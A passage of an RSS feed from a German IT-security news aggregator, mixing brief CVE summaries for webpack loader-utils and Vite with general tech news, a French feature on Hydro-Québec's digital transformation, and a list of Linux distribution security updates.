<link>https://tsecurity.de/de/1688292/sicherheitsluecken/cve-2022-37603-webpack-loader-utils-200-interpolatenamejs-url-incorrect-regex-id-213/</link>
<guid isPermaLink="true">https://tsecurity.de/de/1688292/sicherheitsluecken/cve-2022-37603-webpack-loader-utils-200-interpolatenamejs-url-incorrect-regex-id-213/</guid>
<pubDate>Tue, 08 Nov 2022 13:19:53 +0100</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A vulnerability was found in  webpack loader-utils 2.0.0 and classified as problematic. This issue affects some unknown processing of the file <em>interpolateName.js</em>. The manipulation of the argument <em>url</em> leads to incorrect regular expression.

The identification of this vulnerability is <a href="https://vuldb.com/?source_cve.210911">CVE-2022-37603</a>. The attack can only be done within the local network. There is no exploit available.]]></content:encoded>
</item>
<item>
<title><![CDATA[CVE-2022-37599 | webpack loader-utils 2.0.0 interpolateName.js resourcePath incorrect regex (ID 211)]]></title>
<description><![CDATA[A vulnerability, which was classified as critical, was found in  webpack loader-utils 2.0.0. This affects an unknown part of the file interpolateName.js. The manipulation of the argument resourcePath leads to incorrect regular expression.

This vulnerability is uniquely identified as CVE-2022-375...]]></description>
<link>https://tsecurity.de/de/1686240/sicherheitsluecken/cve-2022-37599-webpack-loader-utils-200-interpolatenamejs-resourcepath-incorrect-regex-id-211/</link>
<guid isPermaLink="true">https://tsecurity.de/de/1686240/sicherheitsluecken/cve-2022-37599-webpack-loader-utils-200-interpolatenamejs-resourcepath-incorrect-regex-id-211/</guid>
<pubDate>Sun, 06 Nov 2022 15:19:59 +0100</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A vulnerability, which was classified as critical, was found in  webpack loader-utils 2.0.0. This affects an unknown part of the file <em>interpolateName.js</em>. The manipulation of the argument <em>resourcePath</em> leads to incorrect regular expression.

This vulnerability is uniquely identified as <a href="https://vuldb.com/?source_cve.210621">CVE-2022-37599</a>. It is possible to initiate the attack remotely. There is no exploit available.]]></content:encoded>
</item>
<item>
<title><![CDATA[Literaturpreis Prix Goncourt geht an Brigitte Giraud]]></title>
<description><![CDATA[Die Autorin wurde für ihren Roman "Vivre vite" prämiert, der sich mit dem Tod ihres Mannes beschäftigt

					
									$(document).ready(function() {
										onYouTubePlayerAPIReadyByID('https://i.ds.at/wvXLFg/rs:fill:150:0/plain/2022/11/03/Brige.jpg');
									});]]></description>
<link>https://tsecurity.de/de/1683698/it-nachrichten/literaturpreis-prix-goncourt-geht-an-brigitte-giraud/</link>
<guid isPermaLink="true">https://tsecurity.de/de/1683698/it-nachrichten/literaturpreis-prix-goncourt-geht-an-brigitte-giraud/</guid>
<pubDate>Thu, 03 Nov 2022 14:05:02 +0100</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<img src="https://i.ds.at/wvXLFg/rs:fill:150:0/plain/2022/11/03/Brige.jpg">Die Autorin wurde für ihren Roman "Vivre vite" prämiert, der sich mit dem Tod ihres Mannes beschäftigt<div id="ytplayer_https://i.ds.at/wvXLFg/rs:fill:150:0/plain/2022/11/03/Brige.jpg"></div>

					<script>
									$(document).ready(function() {
										onYouTubePlayerAPIReadyByID('https://i.ds.at/wvXLFg/rs:fill:150:0/plain/2022/11/03/Brige.jpg');
									}); 
									</script>]]></content:encoded>
</item>
<item>
<title><![CDATA[JavaScript-Framework: Next.js 13 beschleunigt mit Webpack-Nachfolger Turbopack]]></title>
<description><![CDATA[Bis zu 700-mal schneller als Webpack soll der neue Bundler Turbopack für einen enormen Performance-Boost sorgen. In Zukunft soll er Webpack ersetzen.]]></description>
<link>https://tsecurity.de/de/1675915/it-nachrichten/javascript-framework-nextjs-13-beschleunigt-mit-webpack-nachfolger-turbopack/</link>
<guid isPermaLink="true">https://tsecurity.de/de/1675915/it-nachrichten/javascript-framework-nextjs-13-beschleunigt-mit-webpack-nachfolger-turbopack/</guid>
<pubDate>Wed, 26 Oct 2022 12:31:43 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Bis zu 700-mal schneller als Webpack soll der neue Bundler Turbopack für einen enormen Performance-Boost sorgen. In Zukunft soll er Webpack ersetzen.]]></content:encoded>
</item>
<item>
<title><![CDATA[CVE-2022-37603]]></title>
<description><![CDATA[A Regular expression denial of service (ReDoS) flaw was found in Function interpolateName in interpolateName.js in webpack loader-utils 2.0.0 via the url variable in interpolateName.js.]]></description>
<link>https://tsecurity.de/de/1663214/sicherheitsluecken/cve-2022-37603/</link>
<guid isPermaLink="true">https://tsecurity.de/de/1663214/sicherheitsluecken/cve-2022-37603/</guid>
<pubDate>Fri, 14 Oct 2022 20:17:55 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A Regular expression denial of service (ReDoS) flaw was found in Function interpolateName in interpolateName.js in webpack loader-utils 2.0.0 via the url variable in interpolateName.js.]]></content:encoded>
</item>
<item>
<title><![CDATA[CVE-2022-37601]]></title>
<description><![CDATA[Prototype pollution vulnerability in function parseQuery in parseQuery.js in webpack loader-utils 2.0.0 via the name variable in parseQuery.js.]]></description>
<link>https://tsecurity.de/de/1660590/sicherheitsluecken/cve-2022-37601/</link>
<guid isPermaLink="true">https://tsecurity.de/de/1660590/sicherheitsluecken/cve-2022-37601/</guid>
<pubDate>Thu, 13 Oct 2022 01:18:04 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Prototype pollution vulnerability in function parseQuery in parseQuery.js in webpack loader-utils 2.0.0 via the name variable in parseQuery.js.]]></content:encoded>
</item>
<item>
<title><![CDATA[CVE-2022-37599]]></title>
<description><![CDATA[A Regular expression denial of service (ReDoS) flaw was found in Function interpolateName in interpolateName.js in webpack loader-utils 2.0.0 via the resourcePath variable in interpolateName.js.]]></description>
<link>https://tsecurity.de/de/1659088/sicherheitsluecken/cve-2022-37599/</link>
<guid isPermaLink="true">https://tsecurity.de/de/1659088/sicherheitsluecken/cve-2022-37599/</guid>
<pubDate>Tue, 11 Oct 2022 22:49:35 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A Regular expression denial of service (ReDoS) flaw was found in Function interpolateName in interpolateName.js in webpack loader-utils 2.0.0 via the resourcePath variable in interpolateName.js.]]></content:encoded>
</item>
<item>
<title><![CDATA[CVE-2022-35204 | Vitejs Vite up to 2.9.12 URL pathname traversal (ID 8498)]]></title>
<description><![CDATA[A vulnerability classified as critical has been found in  Vitejs Vite up to 2.9.12. Affected is an unknown function of the component URL Handler. The manipulation leads to pathname traversal.

This vulnerability is traded as CVE-2022-35204. The attack needs to be done within the local network. Th...]]></description>
<link>https://tsecurity.de/de/1634679/sicherheitsluecken/cve-2022-35204-vitejs-vite-up-to-2912-url-pathname-traversal-id-8498/</link>
<guid isPermaLink="true">https://tsecurity.de/de/1634679/sicherheitsluecken/cve-2022-35204-vitejs-vite-up-to-2912-url-pathname-traversal-id-8498/</guid>
<pubDate>Sun, 18 Sep 2022 10:49:30 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A vulnerability classified as critical has been found in  Vitejs Vite up to 2.9.12. Affected is an unknown function of the component <em>URL Handler</em>. The manipulation leads to pathname traversal.

This vulnerability is traded as <a href="https://vuldb.com/?source_cve.206748">CVE-2022-35204</a>. The attack needs to be done within the local network. There is no exploit available.

It is recommended to upgrade the affected component.]]></content:encoded>
</item>
<item>
<title><![CDATA[La transformation numérique radicale mais prudente d’Hydro-Québec pourrait être un modèle pour les services publics du monde entier]]></title>
<description><![CDATA[Alors que les cyberattaques se multiplient contre les entreprises énergétiques occidentales, Hydro-Québec vient de réaliser une première mondiale : un « confinement électrique ». Pendant quatre heures, la société d’État s’est complètement détachée du web et d’Internet sans interrompre ses service...]]></description>
<link>https://tsecurity.de/de/1608691/it-security-nachrichten/la-transformation-numrique-radicale-mais-prudente-dhydro-qubec-pourrait-tre-un-modle-pour-les-services-publics-du-monde-entier/</link>
<guid isPermaLink="true">https://tsecurity.de/de/1608691/it-security-nachrichten/la-transformation-numrique-radicale-mais-prudente-dhydro-qubec-pourrait-tre-un-modle-pour-les-services-publics-du-monde-entier/</guid>
<pubDate>Tue, 23 Aug 2022 08:03:47 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section><p>Alors que les cyberattaques se multiplient contre les entreprises énergétiques occidentales, Hydro-Québec vient de réaliser une première mondiale : un « confinement électrique ». Pendant quatre heures, la société d’État s’est complètement détachée du web et d’Internet sans interrompre ses services. Un exercice rassurant pour sa clientèle québécoise, mais aussi pour le Nouveau-Brunswick, l’Ontario, la Nouvelle-Angleterre et l’État de New York – pour qui elle assure jusqu’à 15 % de la consommation d’électricité.</p>



<p>Où et quand a eu lieu cette expérience ? « Nous sommes obligés de tenir ça secret, mais je peux vous dire que j’étais nerveux », confie Jean-François Morin, vice-président – Technologies de l’information et des communications, qui a supervisé l’exercice du début à la fin. « Ce qui m’empêchait de dormir, c’était d’oublier une machine quelque part, ou de couper des clients par inadvertance. »</p>



<p>Cet exercice secret est plus qu’un simple jalon en matière de cybersécurité : il s’inscrit dans le projet d’Hydro-Québec d’accélérer son virage numérique, élément essentiel de son nouveau plan stratégique 2022-2026. « Nos compteurs génèrent un milliard de données par jour et ce sera beaucoup plus très bientôt. Nous développons de gigantesques matrices pour gérer cette information et la faire parler. Mais ça ne marchera pas si nous ne sommes pas très scrupuleux sur le plan de la sécurité. »</p>



<p>Ethan Cohen, vice-président et spécialiste – Transformations et Innovation dans les services publics chez la firme-conseil Gartner, ne cache pas son admiration pour la société d’État propriété du gouvernement du Québec. « Un tel exercice a un côté spectacle, bien sûr, mais il démontre un niveau de compétence qui fait rêver la plupart des services publics. Il montre qu’Hydro-Québec n’est pas seulement durable, mais résiliente. Bien des entreprises publiques formulent de grandes stratégies. Mais le problème, c’est l’exécution. Ce qui importe, c’est ce que le DSI fait réellement. »</p>



<p>Pour Hydro-Québec, l’enjeu du virage numérique est de réussir la seconde phase de sa transition énergétique. La première remonte aux années 1970 lorsqu’elle a pu utiliser sa grosse production d’hydroélectricité verte pour électrifier la quasi-totalité de la consommation résidentielle, incluant le chauffage. Mais en 2022, elle doit s’affairer à la nouvelle commande du gouvernement du Québec – électrifier les transports d’ici 2040.</p>



<p>« Pour répondre à la demande, nous devrons bâtir un système d’information qui nous permettra de prédire et mieux contrôler la consommation mais aussi de mobiliser les capacités de production des clients résidentiels, commerciaux et industriels, dit Jean-François Morin. Il va y avoir de l’intelligence artificielle partout et nos techniciens opérateurs vont devenir des techniciens informatiques. »</p>



<h2>Transformation : phase 2</h2>



<p>Hydro-Québec produit, transporte et distribue quelque 180 térawattheures par an – plus que presque toute autre compagnie en Amérique du Nord. C’est dire l’ampleur du virage numérique qu’elle prépare.</p>



<p>« De toutes les avenues possibles, dit Jean-François Morin, la plus rentable sera l’utilisation de la donnée. Pour optimiser l’entretien et la consommation, mais aussi pour automatiser des éléments de production et de décision, incluant l’analyse de nos orientations en matière d’infrastructures. »</p>



<p>Le double diplômé en informatique et en finance des universités du Québec et de Sherbrooke donne l’exemple de l’entretien, qui coûte des milliards chaque année. Ces entretiens suivent « à l’aveugle » des protocoles préétablis.</p>



<p>« On change donc des pièces qu’on n’aurait pas besoin de changer. En installant des capteurs partout, on va pouvoir surveiller ce qui passe, établir des historiques et intervenir là où c’est vraiment nécessaire. »</p>



<p>Presque toutes les tâches des 20 000 employés seront affectées. Depuis l’installation de compteurs communicants, le métier de releveur de compteurs a disparu – mais Hydro-Québec a embauché davantage de techniciens informatiques. Cette technologie a permis, notamment, de mieux détecter les vols d’énergie en analysant la consommation des clients en temps réel et en la comparant à celle du voisinage. « Mais ce n’était qu’un début. Un de mes rôles est d’identifier les métiers du futur – tout ce dont nous allons avoir besoin côté analystes et ingénieurs en IA et TI. »</p>



<p>« Hydro-Québec a une tradition d’innovation et de R&amp;D, dit Ethan Cohen. C’est une compagnie très entrepreneuriale à un niveau que l’on ne voit pas ailleurs. Et ils sont prêts à bousculer leurs façons de faire pour réaliser de vraies percées. »</p>



<h2>En finir avec le gaspillage</h2>


<div class="extendedBlock-wrapper block-coreImage left"><figure class="wp-block-image alignleft size-full"><img src="https://b2b-contenthub.com/wp-content/uploads/2022/08/Jean-Francois-Morin-VP-Information-and-Communications-Technologies-Hydro-Quebec.jpg?quality=50&amp;strip=all" alt="" class="wp-image-405171" srcset="https://b2b-contenthub.com/wp-content/uploads/2022/08/Jean-Francois-Morin-VP-Information-and-Communications-Technologies-Hydro-Quebec.jpg?quality=50&amp;strip=all 250w, https://b2b-contenthub.com/wp-content/uploads/2022/08/Jean-Francois-Morin-VP-Information-and-Communications-Technologies-Hydro-Quebec.jpg?resize=150%2C150&amp;quality=50&amp;strip=all 150w" width="250" height="250" sizes="(max-width: 250px) 100vw, 250px" loading="lazy"><figcaption><p>Jean-François Morin, vice-président – Technologies de l’information et des communications<span> d’ Hydro-Québec</span></p></figcaption></figure><p class="imageCredit">Hydro Québec</p></div>



<p>Le virage numérique sera la clé pour régler le plus gros problème d’Hydro-Québec : le gaspillage. Car la société d’État est victime de son propre succès : parce qu’elle offre l’énergie la moins chère et la plus verte du continent dans des quantités inouïes, elle a créé une catégorie de consommateurs ultradépendants et hypervoraces qui accaparent des masses d’énergies qui pourraient être mieux utilisées – dans l’électrification des transports ou des procédés industriels par exemple.</p>



<p>« On a des maisons où l’on réchauffe l’asphalte pour faire fondre la neige et des Jacuzzis chauffés sur des balcons à longueur de semaine tout l’hiver », dit Jean-François Morin – qui jouera un rôle clé dans les décisions pour amener la clientèle à consommer mieux, notamment aux heures de pointes, qui coûtent très cher.</p>



<p>Actuellement, les clients résidentiels d’Hydro-Québec ne reçoivent aucun avertissement quant au coût réel de cette consommation débridée. « Il faut développer des manières de mieux leur signaler leur consommation. Un peu comme Tesla, qui excelle à dire à ses utilisateurs combien ils ont épargné lors d’un trajet. Mon rêve serait que tous nos clients reçoivent à 16 h des notifications sur ce qu’ils dépensent et combien ils épargneraient en débranchant leur chauffe-piscine ou en cessant d’utiliser leur chauffe-eau quelques heures. »</p>



<p>Un tel travail n’implique pas que la gestion de données : des drones à infrarouge, par exemple, pourraient produire un outil de visualisation saisissant du profil de consommation des clients les plus énergivores. La tarification serait également un puissant outil de conscientisation si les changements d’habitude sont assortis d’économies réelles, explique le vice-président – qui a gravi tous les échelons d’Hydro-Québec depuis ses débuts comme chargé de projets informatiques en 1999.</p>



<p>Et le numérique ne concernera pas que les applications : le bureau de Jean-François Morin est désormais engagé dans toutes les décisions d’orientation fondamentales de l’entreprise. Hydro-Québec aura de grands besoins énergétiques à combler d’ici 50 ans, et sa direction a promis de considérer toutes les avenues pour retarder le lancement de nouveaux mégaprojets hydroélectriques.</p>



<p>« Nous jonglons avec plein de nouvelles idées, comme les rehaussements de barrages existants, des turbines plus performantes, mais aussi les toits solaires, qui sont très jolis, ou de petites éoliennes domestiques, qui vont permettre aux clients de produire leur propre électricité et même d’alimenter le réseau à certaines heures. »</p>



<p>« Hydro-Québec a beau être plus avancée que d’autres dans la transition énergétique, dit Ethan Cohen, il lui reste à répondre au besoin actuel d’autoproduction. Il existe beaucoup d’occasions nouvelles qui demandent à être analysées. »</p>



<h2>Une transition radicale mais prudente</h2>



<p>Jean-François Morin croit qu’Hydro-Québec pourrait aller beaucoup plus vite dans sa transformation numérique, mais il la freine intentionnellement à cause des enjeux de cybersécurité et de protection des renseignements personnels. Ce qui n’est pas une mauvaise chose, selon Ethan Cohen : « Il y aurait de gros avantages à bouger vite, mais pour les services publics, l’environnement réglementaire est une réalité incontournable. »</p>



<p>Une entreprise qui vend des électrons est particulièrement sensible aux électrons malveillants. Et plus elle multiplie les capteurs ou les services de domotique, plus elle s’expose aux cyberpirates. « Ça va demander de la clairvoyance, dit Jean-François Morin. On pourrait contrôler la consommation dans tous les foyers. On pourrait embaucher de grosses têtes à Paris et New York en télétravail. Mais notre participation au marché de libre-échange énergétique nord-américain nous oblige à nous conformer à des règles strictes de fiabilité. »</p>



<p>Maintenant qu’il a réalisé l’expérience ultime de confinement électrique, Jean-François Morin s’attend à ce que la cybersécurité soit l’un des premiers champs d’application de l’intelligence artificielle dans la gestion et la conduite du réseau.</p>



<p>Il doit aussi composer avec le nouveau régime québécois de protection des renseignements personnels, le plus avancé en Amérique du Nord. Comme toute entreprise qui gère des données portant sur les Québécois, la société d’État devra garantir que ces informations soient protégées. Et la négligence ou la nonchalance peut coûter cher : jusqu’à 4 % du chiffre d’affaires mondial d’une entreprise.</p>



<p>Les décisions de Jean-François Morin doivent donc satisfaire également la vice-présidence aux Affaires juridiques et réglementaires. « Est-ce que j’ai le droit d’utiliser telle donnée, demande-t-il, et pour quelle fonctionnalité ? » – tout en expliquant avoir dû ralentir intentionnellement la progression de la filiale de domotique Hilo en raison de ces enjeux.</p>



<p>« Nous avons besoin d’une gouvernance des données très robuste, pour nous assurer que nous respectons la loi mais aussi pour déterminer quelles données sont réellement utiles. Même avec l’intelligence artificielle, la vieille loi de l’informatique s’applique : <em>Garbage in, garbage out</em>. »</p>
<category>Digital Transformation, IT Leadership, Utilities</category></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[CVE-2022-35204]]></title>
<description><![CDATA[Vitejs Vite before v2.9.13 was discovered to allow attackers to perform a directory traversal via a crafted URL to the victim's service.]]></description>
<link>https://tsecurity.de/de/1605540/sicherheitsluecken/cve-2022-35204/</link>
<guid isPermaLink="true">https://tsecurity.de/de/1605540/sicherheitsluecken/cve-2022-35204/</guid>
<pubDate>Thu, 18 Aug 2022 23:04:43 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Vitejs Vite before v2.9.13 was discovered to allow attackers to perform a directory traversal via a crafted URL to the victim's service.]]></content:encoded>
</item>
<item>
<title><![CDATA[Security updates for Monday]]></title>
<description><![CDATA[Security updates have been issued by Debian (booth, libpgjava, and thunderbird), Fedora (3mux, act, age, antlr4-project, apache-cloudstack-cloudmonkey, apptainer, aquatone, aron, asnip, assetfinder, astral, bettercap, buildah, butane, caddy, cadvisor, cheat, chisel, clash, clipman, commit-stream,...]]></description>
<link>https://tsecurity.de/de/1588116/linux-tipps/security-updates-for-monday/</link>
<guid isPermaLink="true">https://tsecurity.de/de/1588116/linux-tipps/security-updates-for-monday/</guid>
<pubDate>Mon, 01 Aug 2022 15:30:12 +0200</pubDate>
<category>🐧 Linux Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Security updates have been issued by <b>Debian</b> (booth, libpgjava, and thunderbird), <b>Fedora</b> (3mux, act, age, antlr4-project, apache-cloudstack-cloudmonkey, apptainer, aquatone, aron, asnip, assetfinder, astral, bettercap, buildah, butane, caddy, cadvisor, cheat, chisel, clash, clipman, commit-stream, containerd, cri-o, darkman, deepin-gir-generator, direnv, dnscrypt-proxy, dnsx, docker-distribution, doctl, douceur, duf, ffuf, fzf, geoipupdate, git-lfs, git-octopus, git-time-metric, glide, gmailctl, gnutls, go-bindata, goaltdns, gobuster, godep, godoctor, godotenv, gojq, golang-ariga-atlas, golang-bug-serial-1, golang-contrib-opencensus-resource, golang-entgo-ent, golang-etcd-bbolt, golang-gioui, golang-github-a8m-envsubst, golang-github-a8m-tree, golang-github-acme-lego, golang-github-ajstarks-deck, golang-github-akavel-rsrc, golang-github-alecthomas-chroma, golang-github-aliyun-ossutil, golang-github-apache-beam-2, golang-github-appc-docker2aci, golang-github-appc-goaci, golang-github-appc-spec, golang-github-aryann-difflib, golang-github-aws-lambda, golang-github-axgle-mahonia, golang-github-bifurcation-mint, golang-github-bobesa-domain-util, golang-github-burntsushi-toml, golang-github-burntsushi-toml-test, golang-github-burntsushi-xgb, golang-github-c-bata-prompt, golang-github-cactus-statsd-client, golang-github-cespare-xxhash, golang-github-chai2010-gettext, golang-github-chris-ramon-douceur, golang-github-christrenkamp-goxpath, golang-github-chromedp-cdproto, golang-github-cilium-ebpf, golang-github-client9-gospell, golang-github-client9-plaintext, golang-github-cloudflare, golang-github-cloudflare-redoctober, golang-github-cockroachdb-pebble, golang-github-colinmarc-hdfs-2, golang-github-containerd-continuity, golang-github-containerd-fuse-overlayfs-snapshotter, golang-github-containernetworking-cni, golang-github-coredns-corefile-migration, golang-github-cpu-goacmedns, golang-github-cpuguy83-md2man, golang-github-crossdock, golang-github-cucumber-godog, golang-github-cyberdotgent-route3270, golang-github-dave-jennifer, golang-github-deepmap-oapi-codegen, golang-github-denisbrodbeck-machineid, golang-github-dgrijalva-jwt, golang-github-distribution-3, golang-github-dreamacro-shadowsocks2, golang-github-dustinkirkland-petname, golang-github-eknkc-amber, golang-github-elazarl-bindata-assetfs, golang-github-emersion-smtp, golang-github-envoyproxy-protoc-gen-validate, golang-github-etcd-io-gofail, golang-github-euank-kmsg-parser, golang-github-evanphx-json-patch, golang-github-evanw-esbuild, golang-github-facebook-time, golang-github-facebookincubator-contest, golang-github-facebookincubator-dhcplb, golang-github-facebookincubator-go2chef, golang-github-facebookincubator-nvdtools, golang-github-fernet, golang-github-francoispqt-gojay, golang-github-fvbommel-util, golang-github-gdamore-tcell, golang-github-gdamore-tcell-2, golang-github-geertjohan-rice, golang-github-gobuffalo-here, golang-github-gobwas-ws, golang-github-goccy-yaml, golang-github-gocolly-colly-2, golang-github-gogo-googleapis, golang-github-gohugoio-testmodbuilder, golang-github-gojuno-minimock, golang-github-google-jsonnet, golang-github-google-martian, golang-github-google-pprof, golang-github-google-slothfs, golang-github-google-wire, golang-github-googleapis-gnostic, golang-github-googlecloudplatform-cloudsql-proxy, golang-github-gorhill-cronexpr, golang-github-gosexy-gettext, golang-github-grpc-ecosystem-gateway-2, golang-github-gucumber, golang-github-haproxytech-dataplaneapi, golang-github-hashicorp-consul-migrate, golang-github-hashicorp-hclog, golang-github-hashicorp-memdb, golang-github-hashicorp-serf, golang-github-hashicorp-sockaddr, golang-github-heistp-irtt, golang-github-hexdigest-gowrap, golang-github-hpcloud-tail, golang-github-hub, golang-github-insomniacslk-termhook, golang-github-instrumenta-kubeval, golang-github-j-keck-arping, golang-github-jmespath, golang-github-jsonnet-bundler, golang-github-jwt, golang-github-kalafut-imohash, golang-github-kr-text, golang-github-krishicks-yaml-patch, golang-github-kyokomi-emoji, golang-github-ledisdb, golang-github-leonelquinteros-gotext, golang-github-letsencrypt-pebble, golang-github-leveldb, golang-github-liamg-scout, golang-github-liamg-tml, golang-github-lofanmi-pinyin, golang-github-lunixbochs-vtclean, golang-github-magefile-mage, golang-github-mailru-easyjson, golang-github-markbates-pkger, golang-github-martinhoefling-goxkcdpwgen, golang-github-mattn-colorable, golang-github-mbndr-figlet4go, golang-github-mdlayher-dhcp6, golang-github-mdlayher-ethernet, golang-github-mgutz-ansi, golang-github-mholt-archiver, golang-github-microcosm-cc-bluemonday, golang-github-mmarkdown-mmark, golang-github-mock, golang-github-morikuni-aec, golang-github-mozillazg-pinyin, golang-github-mroach-rom64, golang-github-mrunalp-fileutils, golang-github-msprev-fzf-bibtex, golang-github-multiformats-multibase, golang-github-multiformats-multihash, golang-github-mvo5-uboot, golang-github-nats-io-nkeys, golang-github-nats-io-streaming-server, golang-github-nbutton23-zxcvbn, golang-github-nicksnyder-i18n-2, golang-github-niklasfasching-org, golang-github-oklog, golang-github-oklog-ulid, golang-github-olekukonko-tablewriter, golang-github-oneofone-xxhash, golang-github-onsi-ginkgo-2, golang-github-openprinting-ipp-usb, golang-github-pact-foundation, golang-github-path-network-mmproxy, golang-github-pdfcpu, golang-github-pelletier-toml, golang-github-pelletier-toml-2, golang-github-phayes-freeport, golang-github-pierrec-lz4, golang-github-pierrre-geohash, golang-github-posener-complete, golang-github-posener-complete-2, golang-github-pquerna-ffjson, golang-github-pressly-goose, golang-github-projectdiscovery-chaos-client, golang-github-projectdiscovery-mapcidr, golang-github-prometheus, golang-github-prometheus-node-exporter, golang-github-prometheus-prom2json, golang-github-prometheus-tsdb, golang-github-quay-goval-parser, golang-github-rakyll-statik, golang-github-rcrowley-metrics, golang-github-redteampentesting-monsoon, golang-github-rickb777-date, golang-github-rogpeppe-internal, golang-github-rwcarlsen-goexif, golang-github-schollz-croc, golang-github-schollz-mnemonicode, golang-github-segmentio-ksuid, golang-github-shellcode33-vm-detection, golang-github-shopify-sarama, golang-github-shopify-toxiproxy, golang-github-shulhan-bindata, golang-github-shurcool-vfsgen, golang-github-skip2-qrcode, golang-github-skynetservices-skydns, golang-github-snappy, golang-github-sophaskins-efs2tar, golang-github-sourcegraph-syntaxhighlight, golang-github-spyzhov-ajson, golang-github-sqshq-sampler, golang-github-task, golang-github-tdewolff-minify, golang-github-temoto-robotstxt, golang-github-theoapp-theo-agent, golang-github-theupdateframework-notary, golang-github-tinylib-msgp, golang-github-tklauser-numcpus, golang-github-tomnomnom-xtermcolor, golang-github-tscholl2-siec, golang-github-twitchtv-twirp, golang-github-twpayne-waypoint, golang-github-u-root-iscsinl, golang-github-uber-athenadriver, golang-github-uber-jaeger-client, golang-github-ulikunitz-xz, golang-github-valyala-fasthttp, golang-github-vbatts-tar-split, golang-github-vincent-petithory-dataurl, golang-github-xo-terminfo, golang-github-xordataexchange-crypt, golang-github-yuin-gopher-lua, golang-github-zyedidia-highlight, golang-gitlab-commonmark-linkify, golang-google-appengine, golang-google-protobuf, golang-gopkg-neurosnap-sentences-1, golang-gopkg-square-jose-2, golang-gopkg-src-d-git-4, golang-honnef-tools, golang-jaytaylor-html2text, golang-k8s-apiextensions-apiserver, golang-k8s-code-generator, golang-k8s-kube-aggregator, golang-k8s-kube-openapi, golang-k8s-pod-security-admission, golang-k8s-sample-apiserver, golang-k8s-sample-cli-plugin, golang-k8s-sample-controller, golang-mongodb-mongo-driver, golang-mvdan-sh-3, golang-mvdan-xurls, golang-rsc-pdf, golang-sourcegraph-appdash, golang-starlark, golang-storj-drpc, golang-vbom-util, golang-x-debug, golang-x-exp, golang-x-lint, golang-x-mod, golang-x-perf, golang-x-text, golang-x-tools, golist, goloris, gomtree, google-guest-agent, gotags, gotun, grafana, gron, grpcurl, hakrevdns, hcloud, htmltest, httprobe, hulk, ignition, jid, kata-containers, kiln, kompose, kubernetes, libldb, manifest-tool, mass3, meg, meshbird, micro, mingw-harfbuzz, mingw-poppler, moby-engine, mqttcli, nats-server, nebula, netscanner, oci-seccomp-bpf-hook, ohmybackup, onionscan, open-policy-agent, origin, osbuild-composer, podman-tui, popub, powerline-go, reposurgeon, restic, runc, samba, shellz, shhgit, skopeo, snapd, snowcrash, source-to-image, subfinder, syncthing, sysutil, terrier, thunderbird, tiedot, toolbox, vgrep, vultr, vultr-cli, webanalyze, webkit2gtk3, weldr-client, wgctrl, xe-guest-utilities-latest, xen, xq, yggdrasil, and yubihsm-connector), <b>Mageia</b> (chromium-browser-stable, firefox, gdk-pixbuf2.0, python-ujson, and webmin), <b>Red Hat</b> (firefox and thunderbird), <b>Slackware</b> (gnutls), and <b>SUSE</b> (chromium, firefox, mozilla-nss, rubygem-tzinfo, samba, and xen).]]></content:encoded>
</item>
<item>
<title><![CDATA[Packer Fuzzer v1.4.8 releases: fast and efficient security detection of websites constructed]]></title>
<description><![CDATA[Packer Fuzzer With the popularity of web front-end packaging tools, have you encountered more and more websites represented by Webpack...
The post Packer Fuzzer v1.4.8 releases: fast and efficient security detection of websites constructed appeared first on Haxf4rall.]]></description>
<link>https://tsecurity.de/de/1565112/it-security-nachrichten/packer-fuzzer-v148-releases-fast-and-efficient-security-detection-of-websites-constructed/</link>
<guid isPermaLink="true">https://tsecurity.de/de/1565112/it-security-nachrichten/packer-fuzzer-v148-releases-fast-and-efficient-security-detection-of-websites-constructed/</guid>
<pubDate>Sat, 09 Jul 2022 10:33:33 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<img src="https://api.follow.it/track-rss-story-loaded/v1/LfWoQPbnpSHJZDHgh91lZXn9ye8UNv30" border="0" width="1" height="1" alt="Packer Fuzzer v1.4.8 releases: fast and efficient security detection of websites constructed" title="Packer Fuzzer v1.4.8 releases: fast and efficient security detection of websites constructed"><p>Packer Fuzzer With the popularity of web front-end packaging tools, have you encountered more and more websites represented by Webpack...</p>
<p>The post <a rel="nofollow" href="https://haxf4rall.com/2022/07/09/packer-fuzzer-v1-4-8-releases-fast-and-efficient-security-detection-of-websites-constructed/">Packer Fuzzer v1.4.8 releases: fast and efficient security detection of websites constructed</a> appeared first on <a rel="nofollow" href="https://haxf4rall.com/">Haxf4rall</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Vue.js Apps ohne Node, Webpack, npm, Build Tools oder CLI erstellen]]></title>
<description><![CDATA[Ich liebe Vue.js und für größere Anwendungen ist die Entwicklung mit Node.js gut machbar. Wenn du allerdings eine „normale“ Website erstellen möchtest ist das oft […]
The post Vue.js Apps ohne Node, Webpack, npm, Build Tools oder CLI erstellen appeared first at webdeasy.de.]]></description>
<link>https://tsecurity.de/de/1565106/web-tipps/vuejs-apps-ohne-node-webpack-npm-build-tools-oder-cli-erstellen/</link>
